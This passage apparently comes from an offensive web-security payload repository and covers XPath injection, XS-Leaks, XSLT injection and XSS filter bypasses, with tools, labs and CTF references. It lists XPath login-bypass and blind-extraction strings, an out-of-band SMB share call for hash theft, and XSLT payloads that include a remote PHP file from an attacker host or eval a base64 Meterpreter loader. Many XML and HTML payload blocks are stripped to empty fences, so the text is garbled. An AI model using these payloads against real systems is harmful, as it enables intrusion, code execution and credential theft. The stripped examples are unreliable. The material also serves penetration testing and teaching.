* [Hacking with WebSockets - Mike Shema, Sergey Shekyan, Vaagn Toukharian - September 20, 2012](https://web.archive.org/web/20120920142933/https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
* [Mini WebSocket CTF - Snowscan - January 27, 2020](https://snowscan.io/bbsctf-evilconneck/#)
* [Streamlining Websocket Pentesting with wsrepl - Andrez Konstantinov - July 18, 2023](https://web.archive.org/web/20230718132013/https://blog.doyensec.com/2023/07/18/streamlining-websocket-pentesting-with-wsrepl.html)
* [Testing for WebSockets security vulnerabilities - PortSwigger - September 28, 2019](https://web.archive.org/web/20190928112120/https://portswigger.net/web-security/websockets)
* [WebSocket Attacks - HackTricks - July 19, 2024](https://web.archive.org/web/20241217220834/https://book.hacktricks.xyz/pentesting-web/websocket-attacks)
================================================
FILE: XPATH Injection/README.md
================================================
# XPATH Injection
> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Blind Exploitation](#blind-exploitation)
* [Out Of Band Exploitation](#out-of-band-exploitation)
* [Labs](#labs)
* [References](#references)
## Tools
* [orf/xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents
* [feakk/xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool
* [aayla-secura/xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text
* [micsoftvn/xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [Harshal35/XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool
## Methodology
Similar to SQL injection, you want to terminate the query properly:
```ps1
string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())
```
```sql
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c
```
### Blind Exploitation
1. Size of a string
```sql
and string-length(account)=SIZE_INT
```
2. Access a character with `substring`, and verify its value the `codepoints-to-string` function
```sql
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```
### Out Of Band Exploitation
```powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```
## Labs
* [Root Me - XPath injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/XPath-injection-Authentication)
* [Root Me - XPath injection - String](https://www.root-me.org/en/Challenges/Web-Server/XPath-injection-String)
* [Root Me - XPath injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/XPath-injection-Blind)
## References
* [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://web.archive.org/web/20170325082934/http://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)
* [XPATH Injection - OWASP - January 21, 2015](https://web.archive.org/web/20240217030110/http://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
================================================
FILE: XS-Leak/README.md
================================================
# XS-Leak
> Cross-Site Leaks (XS-Leaks) are side-channel vulnerabilities allowing attackers to infer sensitive information from a target origin without reading the response body. They exploit browser behaviors, timing differences, and observable side effects rather than traditional XSS data exfiltration.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Attack Primitives](#attack-primitives)
* [XS-Search](#xs-search)
* [Cross-site Oracles](#cross-site-oracles)
* [Timing Attacks](#timing-attacks)
* [Frame Counting](#frame-counting)
* [Cache Probing](#cache-probing)
* [Known Oracles](#known-oracles)
* [Labs](#labs)
* [References](#references)
## Tools
* [RUB-NDS/xsinator.com](https://github.com/RUB-NDS/xsinator.com) - XS-Leak Browser Test Suite.
* [RUB-NDS/AutoLeak](https://github.com/RUB-NDS/AutoLeak) - Find XS-Leaks in the browser by diffing DOM-Graphs in two states.
## Methodology
### Attack Primitives
Unlike classic CORS or XSS attacks, XS-Leaks rely on observable browser behavior:
| Primitive | Leaks |
| ----------- | -------------------------- |
| Timing | Resource size / complexity |
| Frame count | Content differences |
| Errors | Access control decisions |
| Cache | Previous visits |
| Navigation | Auth state |
| Rendering | Text length |
### XS-Search
XS-Search attacks abuse Query-Based Search Systems to leak user information. By measuring the side effects of a search query (e.g., response time, frame count, or error events), an attacker can infer whether a search returned results or not. This boolean oracle can be used to brute-force sensitive data character by character.
**Examples**:
* Opening 50 tabs and use the timing difference from an iframe CSP violation in the search results page to bruteforce the flag character by character.
## Cross-site Oracles
### Timing Attacks
In a timing attack, an attacker seeks to uncover sensitive information by observing how long a system takes to respond to particular requests. They deploy carefully designed scripts to the target application to execute API calls, send AJAX requests, or initiate cross-origin resource sharing (CORS) interactions. By measuring and comparing the response times of these operations, the attacker can deduce insights about the system’s internal behavior, data validation processes, or underlying security controls.
### Frame Counting
If a page loads different numbers of iframes based on the user's state (e.g., search results), an attacker can count them to infer data.
```js
// Get a reference to the window
var win = window.open('https://example.org');
// Wait for the page to load
setTimeout(() => {
// Read the number of iframes loaded
console.log("%d iframes detected", win.length);
}, 2000);
```
### Cache Probing
In a cache probing attack, a malicious website attempts to determine whether a specific resource from a target site is already stored in the victim’s browser cache. The attacker causes the browser to request a resource (for example, an image, script, or endpoint) that may only be cached if the user is authenticated or has previously visited a particular page. By measuring how quickly the resource loads, or by observing differences in behavior between a cached and non-cached response, the attacker can infer sensitive information.
### Known Oracles
* [Cache Leak (CORS)](https://xsinator.com/testing.html#Cache%20Leak%20(CORS)) - Detect resources loaded by page. Cache is deleted with CORS error.
* [Cache Leak (POST)](https://xsinator.com/testing.html#Cache%20Leak%20(POST)) - Detect resources loaded by page. Cache is deleted with a POST request.
* [ContentDocument X-Frame Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak) - Detect X-Frame-Options with ContentDocument.
* [COOP Leak](https://xsinator.com/testing.html#COOP%20Leak) - Detect Cross-Origin-Opener-Policy header with popup.
* [CORB Leak](https://xsinator.com/testing.html#CORB%20Leak) - Detect X-Content-Type-Options in combination with specific content type using CORB.
* [CORP Leak](https://xsinator.com/testing.html#CORP%20Leak) - Detect Cross-Origin-Resource-Policy header with fetch.
* [CORS Error Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) - Leak redirect target URL with CORS error.
* [CSP Directive Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) - Detect CSP directives with CSP iframe attribute.
* [CSP Redirect Detection](https://xsinator.com/testing.html#CSP%20Redirect%20Detection) - Detect cross-origin redirects with CSP violation event.
* [CSP Violation Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak) - Leak cross-origin redirect target with CSP violation event.
* [CSS Property Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak) - Leak CSS rules with getComputedStyle.
* [Disk cache grooming](https://gist.github.com/parrot409/e3b546d3b76e9f9044d22456e4cc8622)
* [Download Detection](https://xsinator.com/testing.html#Download%20Detection) - Detect downloads (Content-Disposition header).
* [Duration Redirect Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak) - Detect cross-origin redirects by checking the duration.
* [ETag header length](https://blog.arkark.dev/2025/12/26/etag-length-leak) - Detect response body size with ETag header length
* [Event Handler Leak (Object)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Object)) - Detect errors with onload/onerror with object.
* [Event Handler Leak (Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)) - Detect errors with onload/onerror with script.
* [Event Handler Leak (Stylesheet)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Stylesheet)) - Detect errors with onload/onerror with stylesheet.
* [Fetch Redirect Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) - Detect HTTP redirects with Fetch API.
* [Frame Count Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak) - Detect the number of iframes on a page.
* [History Length Leak](https://xsinator.com/testing.html#History%20Length%20Leak) - Detect javascript redirects with History API.
* [Id Attribute Leak](https://xsinator.com/testing.html#Id%20Attribute%20Leak) - Leak id attribute of focusable HTML elements with onblur.
* [Max Redirect Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak) - Detect server redirect by abusing max redirect limit.
* [Media Dimensions Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak) - Leak dimensions of images or videos.
* [Media Duration Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak) - Leak duration of audio or videos.
* [MediaError Leak](https://xsinator.com/testing.html#MediaError%20Leak) - Detect status codes with MediaError message.
* [Payment API Leak](https://xsinator.com/testing.html#Payment%20API%20Leak) - Detect if another tab is using the Payment API.
* [Performance API CORP Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak) - Detect Cross-Origin-Resource-Policy header with Performance API.
* [Performance API Download Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) - Detect downloads (Content-Disposition header) with Performance API.
* [Performance API Empty Page Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) - Detect empty responses with Performance API.
* [Performance API Error Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) - Detect errors with Performance API.
* [Performance API X-Frame Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) - Detect X-Frame-Options with Performance API.
* [Performance API XSS Auditor Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) - Detect scripts/event handlers in a page with Performance API.
* [Redirect Start Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) - Detect cross-origin HTTP redirects by checking redirectStart time.
* [Request Merging Error Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) - Detect errors with request merging.
* [SRI Error Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) - Leak content length with SRI error.
* [Style Reload Error Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak) - Detect errors with style reload bug.
* [URL Max Length Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) - Detect server redirect by abusing URL max length.
* [WebSocket Leak (FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)) - Detect the number of websockets on a page by exausting the socket limit.
* [WebSocket Leak (GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)) - Detect the number of websockets on a page by exausting the socket limit.
## Labs
* [Root Me - XS Leaks](https://www.root-me.org/en/Challenges/Web-Client/XS-Leaks)
## References
* [2025 SECCON CTF 14 Quals Web Challenges Writeup - RewriteLab - December 31, 2025](https://research.rewritelab.org/2025/12/31/%5BENG%5D%202025%20SECCON%20CTF%2014%20Quals%20Web%20Challenges%20Writeup/)
* [ASIS CTF Finals 2024 - arkark - December 30, 2024](https://blog.arkark.dev/2024/12/30/asisctf-finals#web-fire-leak)
* [Cross-Site ETag Length Leak - Takeshi Kaneko - December 26, 2025](https://web.archive.org/web/20260116095358/https://blog.arkark.dev/2025/12/26/etag-length-leak)
* [Exfiltration of secrets using an XS-Leaks - HackTM Secrets - xanhacks - February 19, 2023](https://web.archive.org/web/20230323083337/https://xanhacks.xyz/p/secrets-hacktmctf/)
* [Impossible Leak - SECCON 2025 Quals - parrot409 - December 14, 2025](https://gist.github.com/parrot409/e3b546d3b76e9f9044d22456e4cc8622)
* [justCTF 2022 - Baby XSLeak Write-up - aszx87410 - June 14, 2022](https://web.archive.org/web/20240816003707/https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
* [Secret Note Keeper (xs-leaks) Facebook CTF 2019 - Abdillah Muhamad - July 3, 2019](https://web.archive.org/web/20241214153926/https://abdilahrf.github.io/ctf/writeup-secret-note-keeper-fbctf-2019)
* [SekaiCTF 2023 - Leakless Note - Kalmarunionen - September 5, 2023](https://web.archive.org/web/20230923073547/https://www.kalmarunionen.dk/writeups/2023/sekai/leakless-notes/)
* [XS-Leak: Leaking IDs using focus - Gareth Heyes - October 8, 2019](https://web.archive.org/web/20251126101114/https://portswigger.net/research/xs-leak-leaking-ids-using-focus)
================================================
FILE: XSLT Injection/Files/enum-system-version-vendor.xsl
================================================
Version:
Vendor:
Vendor URL:
================================================
FILE: XSLT Injection/Files/file-write.xsl
================================================
Hello World!
================================================
FILE: XSLT Injection/Files/rce-dotnet-2.xsl
================================================
--- BEGIN COMMAND OUTPUT ---
--- END COMMAND OUTPUT ---
================================================
FILE: XSLT Injection/Files/rce-dotnet.xsl
================================================
================================================
FILE: XSLT Injection/Files/rce-java-1.xsl
================================================
================================================
FILE: XSLT Injection/Files/rce-java-2.xsl
================================================
.
================================================
FILE: XSLT Injection/Files/rce-php-assert.xsl
================================================
include("http://10.10.10.10/test.php")
================================================
FILE: XSLT Injection/Files/rce-php-file-create.xsl
================================================
================================================
FILE: XSLT Injection/Files/rce-php-file-read.xsl
================================================
================================================
FILE: XSLT Injection/Files/rce-php-meterpreter.xsl
================================================
eval(base64_decode('Base64-encoded Meterpreter code'))
================================================
FILE: XSLT Injection/Files/rce-php-scandir.xsl
================================================
================================================
FILE: XSLT Injection/Files/read-and-ssrf.xsl
================================================
Fruits:
- :
================================================
FILE: XSLT Injection/Files/system-properties.xml
================================================
================================================
FILE: XSLT Injection/Files/system-properties.xsl
================================================
Version:
Vendor:
Vendor URL:
================================================
FILE: XSLT Injection/Files/xxe.xsl
================================================
]>
Fruits &ext_file;:
- :
================================================
FILE: XSLT Injection/README.md
================================================
# XSLT Injection
> Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
## Summary
- [Tools](#tools)
- [Methodology](#methodology)
- [Determine the Vendor And Version](#determine-the-vendor-and-version)
- [External Entity](#external-entity)
- [Read Files and SSRF Using Document](#read-files-and-ssrf-using-document)
- [Write Files with EXSLT Extension](#write-files-with-exslt-extension)
- [Remote Code Execution with PHP Wrapper](#remote-code-execution-with-php-wrapper)
- [Remote Code Execution with Java](#remote-code-execution-with-java)
- [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net)
- [Labs](#labs)
- [References](#references)
## Tools
No known tools currently exist to assist with XSLT exploitation.
## Methodology
### Determine the Vendor and Version
```xml
```
```xml
Version:
Vendor:
Vendor URL:
```
### External Entity
Don't forget to test for XXE when you encounter XSLT files.
```xml
]>
Fruits &ext_file;:
- :
```
### Read Files and SSRF Using Document
```xml
Fruits:
- :
```
### Write Files with EXSLT Extension
EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.
```xml
Hello World!
```
### Remote Code Execution with PHP Wrapper
Execute the function `readfile`.
```xml
```
Execute the function `scandir`.
```xml
```
Execute a remote php file using `assert`
```xml
include("http://10.10.10.10/test.php")
```
Execute a PHP meterpreter using PHP wrapper.
```xml
eval(base64_decode('Base64-encoded Meterpreter code'))
```
Execute a remote php file using `file_put_contents`
```xml
```
### Remote Code Execution with Java
```xml
```
```xml
.
```
### Remote Code Execution with Native .NET
```xml
```
```xml
--- BEGIN COMMAND OUTPUT ---
--- END COMMAND OUTPUT ---
```
## Labs
- [Root Me - XSLT - Code execution](https://www.root-me.org/en/Challenges/Web-Server/XSLT-Code-execution)
## References
- [From XSLT code execution to Meterpreter shells - Nicolas Grégoire (@agarri) - July 2, 2012](https://web.archive.org/web/20190820014239/https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
- [XSLT Injection - Fortify - January 16, 2021](http://web.archive.org/web/20210116001237/https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
- [XSLT Injection Basics - Saxon - Hunnic Cyber Team - August 21, 2019](http://web.archive.org/web/20190821174700/https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)
- [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024](https://web.archive.org/web/20260121165846/https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/)
- [XSLT injection lead to file creation - PT SWARM (@ptswarm) - May 30, 2024](https://web.archive.org/web/20241006180803/https://twitter.com/ptswarm/status/1796162911108255974/photo/1)
================================================
FILE: XSS Injection/1 - XSS Filter Bypass.md
================================================
# XSS Filter Bypass
## Summary
- [Bypass Case Sensitive](#bypass-case-sensitive)
- [Bypass Tag Blacklist](#bypass-tag-blacklist)
- [Bypass Word Blacklist with Code Evaluation](#bypass-word-blacklist-with-code-evaluation)
- [Bypass with Incomplete HTML Tag](#bypass-with-incomplete-html-tag)
- [Bypass Quotes for String](#bypass-quotes-for-string)
- [Bypass Quotes in Script Tag](#bypass-quotes-in-script-tag)
- [Bypass Quotes in Mousedown Event](#bypass-quotes-in-mousedown-event)
- [Bypass Dot Filter](#bypass-dot-filter)
- [Bypass Parenthesis for String](#bypass-parenthesis-for-string)
- [Bypass Parenthesis and Semi Colon](#bypass-parenthesis-and-semi-colon)
- [Bypass onxxxx= Blacklist](#bypass-onxxxx-blacklist)
- [Bypass Space Filter](#bypass-space-filter)
- [Bypass Email Filter](#bypass-email-filter)
- [Bypass Tel URI Filter](#bypass-tel-uri-filter)
- [Bypass document Blacklist](#bypass-document-blacklist)
- [Bypass document.cookie Blacklist](#bypass-documentcookie-blacklist)
- [Bypass using Javascript Inside a String](#bypass-using-javascript-inside-a-string)
- [Bypass using an Alternate Way to Redirect](#bypass-using-an-alternate-way-to-redirect)
- [Bypass using an Alternate Way to Execute an Alert](#bypass-using-an-alternate-way-to-execute-an-alert)
- [Bypass ">" using Nothing](#bypass--using-nothing)
- [Bypass "<" and ">" using < and >](#bypass--and--using--and-)
- [Bypass ";" using Another Character](#bypass--using-another-character)
- [Bypass using Missing Charset Header](#bypass-using-missing-charset-header)
- [Bypass using HTML encoding](#bypass-using-html-encoding)
- [Bypass using Katakana](#bypass-using-katakana)
- [Bypass using Cuneiform](#bypass-using-cuneiform)
- [Bypass using Lontara](#bypass-using-lontara)
- [Bypass using ECMAScript6](#bypass-using-ecmascript6)
- [Bypass using Octal encoding](#bypass-using-octal-encoding)
- [Bypass using Unicode](#bypass-using-unicode)
- [Bypass using UTF-7](#bypass-using-utf-7)
- [Bypass using UTF-8](#bypass-using-utf-8)
- [Bypass using UTF-16be](#bypass-using-utf-16be)
- [Bypass using UTF-32](#bypass-using-utf-32)
- [Bypass using BOM](#bypass-using-bom)
- [Bypass using JSfuck](#bypass-using-jsfuck)
- [References](#references)
## Bypass Case Sensitive
To bypass a case-sensitive XSS filter, you can try mixing uppercase and lowercase letters within the tags or function names.
```javascript
```
Since many XSS filters only recognize exact lowercase or uppercase patterns, this can sometimes evade detection by tricking simple case-sensitive filters.
## Bypass Tag Blacklist
```javascript
```
## Bypass Quotes in Mousedown Event
You can bypass a single quote with ' in an on mousedown event handler
```javascript
Link
```
## Bypass Dot Filter
```javascript
```
Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777`
```javascript
```
- From @terjanq
```js
```
- From @cgvwzq
```js
```
## Bypass onxxxx Blacklist
- Use less known tag
```html